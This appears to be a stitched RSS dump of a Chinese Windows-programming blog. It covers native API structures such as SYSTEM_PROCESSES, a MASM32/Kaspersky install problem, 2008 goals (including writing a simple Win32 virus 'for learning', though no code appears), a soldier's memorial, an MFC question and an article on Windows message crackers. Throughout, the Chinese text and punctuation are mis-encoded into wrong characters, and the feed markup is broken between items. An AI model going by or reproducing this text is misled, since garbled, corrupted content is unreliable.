LARGE_INTEGER CreateTimeQ       //创徏旉Q?br>LARGE_INTEGER UserTimeQ        //用户模式(Ring 3)的CPU旉Q?br>LARGE_INTEGER KernelTimeQ       //内核模式(Ring 0)的CPU旉Q?br>UNICODE_STRING ProcessNameQ       //q程名称Q?br>KPRIORITY   BasePriorityQ      //q程优先权;
ULONG     ProcessIdQ       //q程标识W;
ULONG     InheritedFromProcessIdQ?//父进E的标识W;
ULONG     HandleCountQ       //句柄数目Q?br>ULONG     Reserved2[2]Q?br>VM_COUNTERS  VmCountersQ       //虚拟存储器的l构Q见下;
IO_COUNTERS  IoCountersQ       //IO计数l构Q见下;
SYSTEM_THREADS Threads[1]Q       //q程相关U程的结构数l,见下Q?br>}SYSTEM_PROCESSES,*PSYSTEM_PROCESSESQ?br>
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTimeQ       //CPU内核模式使用旉Q?br>LARGE_INTEGER UserTimeQ         //CPU用户模式使用旉Q?br>LARGE_INTEGER CreateTimeQ       //U程创徏旉Q?br>ULONG     WaitTimeQ         //{待旉Q?br>PVOID     StartAddressQ       //U程开始的虚拟地址Q?br>CLIENT_ID   ClientIdQ         //U程标识W;
KPRIORITY   PriorityQ         //U程优先U;
KPRIORITY   BasePriorityQ       //基本优先U;
ULONG     ContextSwitchCountQ   //环境切换数目Q?br>THREAD_STATE StateQ          //当前状态;
KWAIT_REASON WaitReasonQ       //{待原因Q?br>}SYSTEM_THREADS,*PSYSTEM_THREADSQ?br>
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSizeQ         //虚拟存储峰值大;
ULONG VirtualSizeQ           //虚拟存储大小Q?br>ULONG PageFaultCountQ         //|障数目;
ULONG PeakWorkingSetSizeQ       //工作集峰值大;
ULONG WorkingSetSizeQ         //工作集大;
ULONG QuotaPeakPagedPoolUsageQ     //分页池用配额峰|
ULONG QuotaPagedPoolUsageQ       //分页池用配额;
ULONG QuotaPeakNonPagedPoolUsageQ   //非分|使用配额峰|
ULONG QuotaNonPagedPoolUsageQ     //非分|使用配额Q?br>ULONG PagefileUsageQ          //|件用情况;
ULONG PeakPagefileUsageQ        //|件用峰|
}VM_COUNTERS,*PVM_COUNTERSQ?br>
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCountQ   //I/OL作数目;
LARGE_INTEGER WriteOperationCountQ   //I/O写操作数目;
LARGE_INTEGER OtherOperationCountQ   //I/O其他操作数目Q?br>LARGE_INTEGER ReadTransferCountQ    //I/OL据数目;
LARGE_INTEGER WriteTransferCountQ   //I/O写数据数目;
LARGE_INTEGER OtherTransferCountQ   //I/O其他操作数据数目Q?br>}IO_COUNTERS,*PIO_COUNTERSQ?br>
以上q些信息应该是比较全面的了,在Win32 API里ؓ我们提供了PSAPI(q程状?和ToolHelp32q两U探系l进E?U程信息的方式,在Windows2K/XP/2003都支持它们?br>
现在Q我们来看看pȝ的性能信息Q性能l构SYSTEM_PERFORMANCE_INFORMATION为我们提供了70余种pȝ性能斚w的信息,真是太丰富了Q请慢慢体会~

typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTimeQ          //CPUI闲旉Q?br>LARGE_INTEGER ReadTransferCountQ     //I/OL作数目;
LARGE_INTEGER WriteTransferCountQ     //I/O写操作数目;
LARGE_INTEGER OtherTransferCountQ     //I/O其他操作数目Q?br>ULONG     ReadOperationCountQ     //I/OL据数目;
ULONG     WriteOperationCountQ     //I/O写数据数目;
ULONG     OtherOperationCountQ     //I/O其他操作数据数目Q?br>ULONG     AvailablePagesQ       //可获得的|目;
ULONG     TotalCommittedPagesQ     //d提交|目;
ULONG     TotalCommitLimitQ      //已提交页数目Q?br>ULONG     PeakCommitmentQ       //|交峰|
ULONG     PageFaultsQ         //|障数目;
ULONG     WriteCopyFaultsQ       //Copy-On-Write故障数目Q?br>ULONG     TransitionFaultsQ      //软页故障数目Q?br>ULONG     Reserved1Q?br>ULONG     DemandZeroFaultsQ      //需?故障敎ͼ
ULONG     PagesReadQ         //读页数目Q?br>ULONG     PageReadIosQ         //读页I/O操作敎ͼ
ULONG     Reserved2[2]Q?br>ULONG     PagefilePagesWrittenQ    //已写|仉敎ͼ
ULONG     PagefilePageWriteIosQ    //已写|件操作数Q?br>ULONG     MappedFilePagesWrittenQ   //已写映射文g|Q?br>ULONG     MappedFileWriteIosQ     //已写映射文g操作敎ͼ
ULONG     PagedPoolUsageQ       //分页池用;
ULONG     NonPagedPoolUsageQ     //非分|使用Q?br>ULONG     PagedPoolAllocsQ       //分页池分配情况;
ULONG     PagedPoolFreesQ       //分页池释放情况;
ULONG     NonPagedPoolAllocsQ     //非分|分配情况Q?br>ULONG     NonPagedPoolFressQ     //非分|释放情况Q?br>ULONG     TotalFreeSystemPtesQ     //pȝ表w放LQ?br>ULONG     SystemCodePageQ       //操作pȝ代码|Q?br>ULONG     TotalSystemDriverPagesQ   //可分驱动程序页敎ͼ
ULONG     TotalSystemCodePagesQ    //操作pȝ代码|LQ?br>ULONG     SmallNonPagedLookasideListAllocateHitsQ?//非分页侧视列表分配ơ数Q?br>ULONG     SmallPagedLookasideListAllocateHitsQ  //分侧视列表分配次敎ͼ
ULONG     Reserved3Q        
ULONG     MmSystemCachePageQ     //pȝ~存|Q?br>ULONG     PagedPoolPageQ       //分页池页敎ͼ
ULONG     SystemDriverPageQ     //可分驱动页敎ͼ
ULONG     FastReadNoWaitQ       //异步快速读数目Q?br>ULONG     FastReadWaitQ       //同步快速读数目Q?br>ULONG     FastReadResourceMissQ   //快速读资源冲突敎ͼ
ULONG     FastReadNotPossibleQ    //快速读p|敎ͼ
ULONG     FastMdlReadNoWaitQ     //异步MDL快速读数目Q?br>ULONG     FastMdlReadWaitQ      //同步MDL快速读数目Q?br>ULONG     FastMdlReadResourceMissQ  //MDL读资源冲H数Q?br>ULONG     FastMdlReadNotPossibleQ   //MDLd败数Q?br>ULONG     MapDataNoWaitQ       //异步映射数据ơ数Q?br>ULONG     MapDataWaitQ        //同步映射数据ơ数Q?br>ULONG     MapDataNoWaitMissQ     //异步映射数据冲突ơ数Q?br>ULONG     MapDataWaitMissQ      //同步映射数据冲突ơ数Q?br>ULONG     PinMappedDataCountQ     //牵制映射数据数目Q?br>ULONG     PinReadNoWaitQ       //牵制异步L目;
ULONG     PinReadWaitQ        //牵制同步L目;
ULONG     PinReadNoWaitMissQ     //牵制异步dH数目;
ULONG     PinReadWaitMissQ      //牵制同步dH数目;
ULONG     CopyReadNoWaitQ       //异步拯L敎ͼ
ULONG     CopyReadWaitQ       //同步拯L敎ͼ
ULONG     CopyReadNoWaitMissQ     //异步拯L障次敎ͼ
ULONG     CopyReadWaitMissQ     //同步拯L障次敎ͼ
ULONG     MdlReadNoWaitQ       //异步MDLL敎ͼ
ULONG     MdlReadWaitQ        //同步MDLL敎ͼ
ULONG     MdlReadNoWaitMissQ     //异步MDLL障次敎ͼ
ULONG     MdlReadWaitMissQ      //同步MDLL障次敎ͼ
ULONG     ReadAheadIosQ       //向前L作数目;
ULONG     LazyWriteIosQ       //LAZY写操作数目;
ULONG     LazyWritePagesQ       //LAZY写页文g数目Q?br>ULONG     DataFlushesQ        //~存hơ数Q?br>ULONG     DataPagesQ         //~存h|Q?br>ULONG     ContextSwitchesQ      //环境切换数目Q?br>ULONG     FirstLevelTbFillsQ     //W一层缓冲区填充ơ数Q?br>ULONG     SecondLevelTbFillsQ     //W二层缓冲区填充ơ数Q?br>ULONG     SystemCallQ         //pȝ调用ơ数Q?br>}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATIONQ?br>
现在看到的是l构SYSTEM_PROCESSOR_TIMES提供的系l处理器的用情况,包括各种情况下的使用旉及中断数目:

typedef struct __SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTimeQ       //I闲旉Q?br>LARGE_INTEGER KernelTimeQ       //内核模式旉Q?br>LARGE_INTEGER UserTimeQ       //用户模式旉Q?br>LARGE_INTEGER DpcTimeQ        //延迟q程调用旉Q?br>LARGE_INTEGER InterruptTimeQ     //中断旉Q?br>ULONG     InterruptCountQ     //中断ơ数Q?br>}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMESQ?br>
|件的使用情况QSYSTEM_PAGEFILE_INFORMATION提供了所需的相关信息:

typedef struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG NetxEntryOffsetQ        //下一个结构的偏移量;
ULONG CurrentSizeQ          //当前|件大;
ULONG TotalUsedQ           //当前使用的页文g敎ͼ
ULONG PeakUsedQ           //当前使用的页文g峰值数Q?br>UNICODE_STRING FileNameQ       //|件的文g名称Q?br>}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATIONQ?br>
pȝ高速缓存的使用情况参见l构SYSTEM_CACHE_INFORMATION提供的信息:

typedef struct _SYSTEM_CACHE_INFORMATION
{
ULONG SystemCacheWsSizeQ       //高速缓存大;
ULONG SystemCacheWsPeakSizeQ     //高速缓存峰值大;
ULONG SystemCacheWsFaultsQ      //高速缓存页故障数目Q?br>ULONG SystemCacheWsMinimumQ     //高速缓存最页大小Q?br>ULONG SystemCacheWsMaximumQ     //高速缓存最大页大小Q?br>ULONG TransitionSharedPagesQ     //׃n|目;
ULONG TransitionSharedPagesPeakQ   //׃n峰值数目;
ULONG Reserved[2]Q?br>}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATIONQ?

]]>[下蝲]UltraEdit的MASM语法着色文?/title><link>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 12 Jan 2008 12:25:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/41044.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/41044.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/41044.html</trackback:ping><description><![CDATA[      |上扄UE的MASM语法着色文Ӟ链接不多Q所以上传提供一个下载?br>      下蝲地址:<a href="http://www.shnenglu.com/Files/saga/MASM.rar">http://www.shnenglu.com/Files/saga/MASM.rar</a><br>                                                            ---------------saga.constantine <img src ="http://www.shnenglu.com/saga/aggbug/41044.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-01-12 20:25 <a href="http://www.shnenglu.com/saga/archive/2008/01/12/41044.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[无奈]MASM32和kaspersky是不兼容!谁知道解军_法!http://www.shnenglu.com/saga/archive/2008/01/12/41017.htmlsaga.constantinesaga.constantineSat, 12 Jan 2008 03:52:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/12/41017.htmlhttp://www.shnenglu.com/saga/comments/41017.htmlhttp://www.shnenglu.com/saga/archive/2008/01/12/41017.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/41017.htmlhttp://www.shnenglu.com/saga/services/trackbacks/41017.html
      MASM32无法安装Q上了MASM32的官方论坛看了,说是DEPQ数据执行保护)的原因,在下个版本中解冟?br>      
      讄排除Q关闭卡_或者是关闭DEPQ都是没有作用的?img height=20 src="http://www.shnenglu.com/Emoticons/QQ/icon18.gif" width=25 border=0>
      卸蝲卡巴Q之后就可以安装了?br>
      比较郁闷Qkav7.0本来是很不错的AV软g。用q很多杀软。nod32QnortonQavastQmacfee。除了macfee的溢Z护感觉很不错以ؓ。还是觉得kav是最好用的。真的不惛_载?br>      谁要是知道解x法。麻烦共享一下,谢?img height=20 src="http://www.shnenglu.com/Emoticons/QQ/smile.gif" width=20 border=0>
                                             ------------saga.constantine

]]>
[计划]学习?008l自己定两个目标http://www.shnenglu.com/saga/archive/2008/01/10/40916.htmlsaga.constantinesaga.constantineThu, 10 Jan 2008 10:50:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/10/40916.htmlhttp://www.shnenglu.com/saga/comments/40916.htmlhttp://www.shnenglu.com/saga/archive/2008/01/10/40916.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/40916.htmlhttp://www.shnenglu.com/saga/services/trackbacks/40916.html      目标一Q编写一个简单的WIN32病毒E序。(具体怎么L以后补充修改Q说明一下写q绝非恶意,只ؓ学习Q?br>      目标二:~写一个简单的加壳软g。(具体q用什么技术,做出什么样q是以后补充。因为我也不知道Q?br>      
      我知道这L目标现实不现实,我只知道现实的我~Z目标?br>      2008q尾再来看看今天到底是不是冲动?br>      如果没有实现q两个目标。我会很失望?br>      如果实现了两个,我会l箋q求理想?br>      如果只实C个,我会?009q实现另一个。谁叫我W呢Q?br>
                                                             ---------saga.constantine

]]>
[U念]英雄---孟祥斌!http://www.shnenglu.com/saga/archive/2008/01/09/40774.htmlsaga.constantinesaga.constantineWed, 09 Jan 2008 02:14:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/09/40774.htmlhttp://www.shnenglu.com/saga/comments/40774.htmlhttp://www.shnenglu.com/saga/archive/2008/01/09/40774.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/40774.htmlhttp://www.shnenglu.com/saga/services/trackbacks/40774.html
                                                         真正的英?-----孟祥斌!
      我们会记住你。你永远zd我们心中。孟斌大哥你一路走好?br>
      敬礼Q?br>      
      事迹---11?0日,L江金华某部司令部参谋、中孟斌为救一名蟩江自杀的年d子跃入冰h水中。轻生女救了上来Q他却没有上来。江边,来探亲的d和女儿在苦苦期盼奇迹发生?br>
  30日中?1?5分左叻I金华市民熊女士正好在江边z衣服,无意间看到有个女子在岸边打电话,没说几句把电话摔在CQ脱掉鞋子蟩下江厅R桥面上一个男青年看到q一q后Q马上脱掉衣服蟩江救人?br>
  q个q轻人正是孟斌Q今q?8岁,L江金华某部司令部参谋、中?br>
  没过多久Q孟斌将奛_托出了水面,q处一艘摩托艇发现情况后也赶来救h。就在摩托艇快要赶到的时候,孟祥斌开始下沉。摩托艇上的人将奛_拉上来后Q再扑֭斌Q已l找不到了?br>
  救援的小船不停地在江里搜寻,孟祥斌所在部队的官兵也赶来救_却始l没有发现孟斌。直C?时半左右Q救援队l于发现了孟斌Q赶紧送往医院急救?br>
  目睹和闻讯赶来的一些金华市民以及孟斌的战友都在抢救室门口祷Q但医院最后告知,孟祥斌已l牺牌Ӏ?br>
  孟祥斌的d?岁的奛_目睹了整个经q,她们眼睁睁看着孟祥斌沉入水底,自己却丝毫没有办法?br>
  孟祥斌的d_q几天,她和奛_刚从江西老家赶来Q看望孟斌Q当天是出来散步的,可没惛_却发生了q样的事情?br>
      孟祥斌救人牺牲的事迹q速传遍了金华Q自30日下午开始,有许多金华市民涌往英雄遇难的婺江城南桥Q纷U送上花圈和鲜花。在城南桥上孟祥斌蟩江救人的栏杆边,早已有h拉v?沉痛悼念英雄孟祥斌同?的横q,在此ȝ悼念的市民络l不l,很快引起了交通堵塞?br>
  1日中午,数百名孟斌所在部队的官兵来到现场Q敬献了黄菊花,齐声高喊Q?孟祥斌,我们来看你了Q?接着Q向着横幅三鞠w?br>
  ?日晚由金华新ȝ"新金华论?发v的烛光守灉|动得C数千市民的响应。入夜,城南桥边的江堤上再次掀赯悼的热潮。晚?时不刎ͼ摆在桥栏和江堤边的花圈已l连l|癄。数千市民自发点起了"风中之烛"Q默默地祈P许多人随着烛光静静地流着眼泪?br>
  前往奠的金华市民郑伟文着眼泪_"孟祥斌救人的壮D令h感动Q我无法遏止悲痛Qؓ英雄的英q早逝感到惋惜?

  有网友说Q?英雄已逝,_长存。他的行为,l社会带来了一股清风:路见危难Q不讲得失,毫无畏惧Q挺w而出Q他用I珍늚勇气Q用自己宝贵的生命诠释了当代军h报效C会Q报效h民的崇高理想。在今天构徏C会M和谐C会的过E中Q时代呼唤这U行为,C会需要这U行为,更应该传承这U精,孟祥斌同志是我们的光荣和骄傲?
      报道取自人民|?br>                                                                       --------------saga.constantine


]]>
[ȝ]2007的最后一天,q终有感?/title><link>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 31 Dec 2007 13:47:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/40063.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/40063.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/40063.html</trackback:ping><description><![CDATA[[ȝ]2007的最后一天,回顾一q?br>       2007q可以说是我正式工作的第一q。在L后的一q半的时间里实是学C一些东西,但是说到自己的追求方面——编E。在q方面的q展实在是不能让自己满意?br>       本命q即过厅Rh快25了。可是想惌p是没有取得成l。真是让自己很不爽。^时自己常常在一些坛子里泡。可以发C些牛人,像白q方Q张|xyzregQ,gyzyQ于渊,老罗{这Lq轻人都是有为青q。自׃他们的差距实在是太大。这是让我最痛苦的一件事之一?br>       客观上自pv步比较晚Q高中时都不知道自己以后要靠什么吃饭。上大学的时候又׃体制问题Q؜混度日,没能h。工作了才发现自己其实是喜欢~程的。对操作pȝQ对汇编Q对windows是有兴趣的。希望自p快点赶上Q需要学的东西实在是很多。而且q不能囫囵吞枣。我是自己学的,没有导师Q没有项目。我只能自己一步一步自己摸索。走别h走过的\。都没有人指引?br>       我相信,只要坚持不懈的向前进。L一天自׃成ؓ自己x为的人的。就一直很q_Q是个小的~程爱好者。我也不会后悔。因为我q求q。爱q?br>       ?007q的最后一天,?007告别。迎?008Q希望一q后自己在写q终感想的时候,不要像今天这L心情。我要给自己鼓劲。时间不{h。过ȝ已经q去。从2008q开始,一步一个脚印的C厅R我会告诉自׃能急,万丈高楼q_赗基对编E来说很重要。我也想用另外一句自己喜Ƣ的台词来作l。不疯魔Q不成活——只有达到痴qL境界 才能某事做到极致。Q何事业的成功Q都需要全情的投入?br>       saga go ahead!<br>      最后,q想感谢一下所有我的朋友,你们l了我快乐?br>       感谢妈妈Q爸爸,及家ZQ是你们抚养我成ѝ感谢女友慧慧陪在我的n旁。虽然我有时会忍不住对你发脾气。你q是不离不弃?br>       希望你们所有我所q人,?008q里都是健康快乐的,那将是我最大的q福Q?br><br>                                                                 ---------------------saga.constantine<br> <br> <img src ="http://www.shnenglu.com/saga/aggbug/40063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-12-31 21:47 <a href="http://www.shnenglu.com/saga/archive/2007/12/31/40063.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[解释]“hardcode”是什么意思?http://www.shnenglu.com/saga/archive/2007/12/22/39281.htmlsaga.constantinesaga.constantineSat, 22 Dec 2007 07:47:00 GMThttp://www.shnenglu.com/saga/archive/2007/12/22/39281.htmlhttp://www.shnenglu.com/saga/comments/39281.htmlhttp://www.shnenglu.com/saga/archive/2007/12/22/39281.html#Feedback2http://www.shnenglu.com/saga/comments/commentRss/39281.htmlhttp://www.shnenglu.com/saga/services/trackbacks/39281.html
hardcode----编码?br>所谓硬~码QhardcodeQ就是把一个本来应该(可以Q写到配|信息中的信息直接在E序代码中写M? 
   
  例如Q写了一个收发邮件的E序Q用户名Q密码,服务器地址{最好做成外部配|,  
  但是如果直接写死在程序代码中Q每ơ改信息旉要重新编译了……  
   
  q种E序不好l护?nbsp;  
  一般懒的程序员或者初学者这U程序量较大?br>
      

在计机E序或文本编辑中Qhardcode(q个词比hard code用v来要频繁一?是指可变变量用一个固定值来代替的方法。用q种Ҏ~译后,如果以后需要更Ҏ变量非常困难了。大部分E序语言里,可以一个固定数值定义ؓ一个标讎ͼ然后用这个特D标记来取代变量名称。当标记名称改变Ӟ变量名不变,q样Q当重新~译整个E序Ӟ所有变量都不再是固定|q样更Ҏ的实C改变变量的目的。尽通过~辑器的查找替换功能也能实现整个变量名称的替换,但也很有可能出现多换或者少换的情况Q而在计算机程序中QQ何小错误的出现都是不可饶恕的。最好的Ҏ是单独ؓ变量名划分空_来实现这U变化,如同前面说的那P需要改变的变量名暂时用一个定义好的标记名U来代替是一U很好的Ҏ。通常情况下,都应该避免用hardcodeҎ。  

有时也用hardcode来Ş定w些非帔R学的语言Q比如C或者C++语言Q相对的Q用softcode来Ş容象VBq类单好用的E序语言?



]]>
[原创]PE文g基本信息查看器及vc源码 下蝲http://www.shnenglu.com/saga/archive/2007/12/18/38913.htmlsaga.constantinesaga.constantineTue, 18 Dec 2007 08:36:00 GMThttp://www.shnenglu.com/saga/archive/2007/12/18/38913.htmlhttp://www.shnenglu.com/saga/comments/38913.htmlhttp://www.shnenglu.com/saga/archive/2007/12/18/38913.html#Feedback5http://www.shnenglu.com/saga/comments/commentRss/38913.htmlhttp://www.shnenglu.com/saga/services/trackbacks/38913.htmlE序下蝲地址  www.shnenglu.com/files/saga/PEinfo.rar
vc源码下蝲地址   www.shnenglu.com/files/saga/PEinfocode.rar

                                                                                    --------------------saga.constantine


]]>
[h]MFC建立的对话框E序在主H口InitInstance()函数里面无法建立H口原因Q请高手指点Q?/title><link>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Thu, 06 Dec 2007 12:37:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/37920.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/37920.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/37920.html</trackback:ping><description><![CDATA[<p>vc6Q徏立MFC对话框程序,ȝ口的InitInstance()里面Q运行SDK的API函数MessageBox()Q都无法看见弹出的窗口。如Q?br>BOOL CMyText::InitInstance()<br>{<br>#ifdef _AFXDLL<br>          Enable3dControls();   // Call this when using MFC in a shared DLL<br>#else<br>          Enable3dControlsStatic(); // Call this when linking to MFC statically<br>#endif</p> <p>          CMyTextDlg dlg;<br>          m_pMainWnd = &dlg;<br>          int nResponse = dlg.DoModal();<br>          if (nResponse == IDOK)<br>          {<br>                    // TODO: Place code here to handle when the dialog is<br>                    //  dismissed with OK<br>            }<br>          else if (nResponse == IDCANCEL)<br>          {<br>           // TODO: Place code here to handle when the dialog is<br>           //  dismissed with Cancel<br>           MessageBox(NULL,"haha","aa",MB_OK);   //不会出现<br>          }</p> <p>          // Since the dialog has been closed, return FALSE so that we exit the<br>          //  application, rather than start the application's message pump.<br>          return FALSE;<br>         }<br><br>上例中的MessageBox(),q行时一跌过Q看不见H口。听的减弹出H口的声韟뀂不知道Z么,|上有h提出分析q样的问题。其他窗口也无法生成。但是不知ؓ何。一U解x法是注释掉m_pMainWnd = &dlg;q句卛_正常。我试了Q的如此!<br><br><span style="COLOR: red">那位高手或知之者\q请解答Q谢?<br></span><br>                                                                                                           ---------------------saga.constantine<br>                                                                                                                              <br></p> <img src ="http://www.shnenglu.com/saga/aggbug/37920.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-12-06 20:37 <a href="http://www.shnenglu.com/saga/archive/2007/12/06/37920.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转蝲]windows消息分流?http://www.shnenglu.com/saga/archive/2007/09/04/31311.htmlsaga.constantinesaga.constantineTue, 04 Sep 2007 05:40:00 GMThttp://www.shnenglu.com/saga/archive/2007/09/04/31311.htmlhttp://www.shnenglu.com/saga/comments/31311.htmlhttp://www.shnenglu.com/saga/archive/2007/09/04/31311.html#Feedback2http://www.shnenglu.com/saga/comments/commentRss/31311.htmlhttp://www.shnenglu.com/saga/services/trackbacks/31311.html自己看核心编E,Ҏ息分器不太理解Q这写的不错,所以{载?br>文章作者:ƣ欣
原文链接Q?a >http://blog.csdn.net/hopkins9961629/archive/2006/01/25/588184.aspx

很好理解,windows操作pȝ使用消息处理机制,那么,我们所设计的程序如何才能分辨和处理pȝ中的各种消息?q就是消息分器的作?

单来?消息分流器就是一D代?在我的讲qC,分7重来循序渐进的介l它.从最初的W?重到最成熟的第7?它的样子会有很大的变??实现的功能都是一L,所不同?仅仅是变得更加简lŞ?

E序开始时?会是main函数,然后会生成初始的H口,同时会调用WndProc函数.q是一个自定义的函?名字也会有变?但其功能是一L,是q行消息分流?WndProc函数如下:

LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)
{

//......

return DefWindowProc(hwnd, msg, wParam, lParam);

}

q其?hwnd是窗口的句柄,msg是系l发送来的消息的名字.wParam和lParam则是随消息一起发送来的消息参?

WndProc函数使用了消息分器Q下面把消息分流器的内容解释一下:

一重,当不同的消息出现Ӟ在其中写入相应的E序语句卛_?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  // ...
  return 0;

  case WM_PAINT:
  // ...
  return 0;

  case WM_DESTROY:
  //...
  return 0;
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}

二重Q运用三个消息分器q行处理?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  return HANDLE_WM_CREATE(hwnd, wParam, lParam, Cls_OnCreate);

  case WM_PAINT:
  return HANDLE_WM_PAINT(hwnd, wParam, lParam, Cls_OnPaint);

  case WM_DESTROY:
  return HANDLE_WM_DESTROY(hwnd, wParam, lParam, Cls_OnDestroy);
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
q里的HANDLE_WM_CREATEQHANDLE_WM_PAINTQHANDLE_WM_DESTROY是消息分流器?br>与消息不同之处就是在前面增加?#8220;HANDLE_”字符Qwindows的消息分器是q样的模栗?br>它的本质是宏定义?br>其中的四个参数有三个都是从本函数的入口参C直接得到的,即ؓhwnd, wParam, lParam?br>只有W四的参数是表明调用的函数?br>消息分流器是在winowsx.h文g中定义的。由此,可以看出W四个参数是调用的函敎ͼ其定义如下:

#define HANDLE_WM_CREATE(hwnd, wParam, lParam, fn) ((fn)((hwnd), (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L)

#define HANDLE_WM_PAINT(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)

#define HANDLE_WM_DESTROYCLIPBOARD(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)

0L是表Cintcd的变量,其数gؓ0?br>intcdӞ可在后面加l或者L(写和大写Ş?
表明无符hӞ可在后面加u或者U(写和大写Ş?
floatcdӞ可在后面加f或者F(写和大写Ş?
例如Q?br>128u 1024UL 1L 8Lu 3.14159F 0.1f

LRESULT是一个系l的数据cdQ其定义如下Q?br>typedef LONG_PTR LRESULT;

LONG_PTR也是一个系l的数据cdQ其定义如下Q?br>#if defined(_WIN64)
 typedef __int64 LONG_PTR;
#else
 typedef long LONG_PTR;
#endif
由此可见QLRESULT的实质就?4的longcd的变?/p>

那么(LRESULT)-1L的实质ƈ不是减法Q而是((LRESULT)(-1L))Q即强制cd转换

三重Q把消息分流器的宏定义代换回去,成了下面的样子
LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  return Cls_OnCreate(hwnd, (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L;
  // 如果处理了消息,则Cls_OnCreate应返回TRUEQ导致WndProcq回0Q否则Cls_OnCreateq回FALSEQ导致WndProcq回-1Q?/p>

  case WM_PAINT:
  return Cls_OnPaint(hwnd), 0L;
  // 逗号表达式;Cls_OnPaint是voidcdQ这里返?Q?

  case WM_DESTROY:
  return Cls_OnDestroy(hwnd), 0L; // 同Cls_OnPaint
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
在逗号表达式,C++会计每个表辑ּQ但完整的逗号表达式的l果是最双表达式的倹{?br>所以,会return 0?br>然后Q就可以手动的编写各个处理函CQCls_OnCreateQCls_OnPaintQWM_DESTROY?/p>

四重Q?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate);
  HANDLE_MSG(hwnd, WM_PAINT, Cls_OnPaint);
  HANDLE_MSG(hwnd, WM_DESTROY, Cls_OnDestroy);
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}

HANDLE_MSG也是一个宏Q它在windowsx.h中定义,如下Q?br>#define HANDLE_MSG(hwnd, message, fn) case (message): return HANDLE_##message((hwnd), (wParam), (lParam), (fn))

q个宏要做的是Ҏ不同的messageQ?#用来q接前后的字W串Q,把自?#8220;变成”相应的HANDLE_XXXXMESSAGE形式的宏Q再通过相应的宏来执行消息处理代码?br>说白了,是把message的消息做为替换,##是一个替换的标志?br>如果没有##Q就成了HANDLE_message了,q样Q宏是不会被代换的?br>如果单独一个,则会代换Q如hwnd和fn?/p>

比如实际代码中写入:
HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate)
则经q{换就变成Q?br>case (WM_CREATE): return HANDLE_WM_CREATE((hwnd), (wParam), (lParam), (Cls_OnCreate))
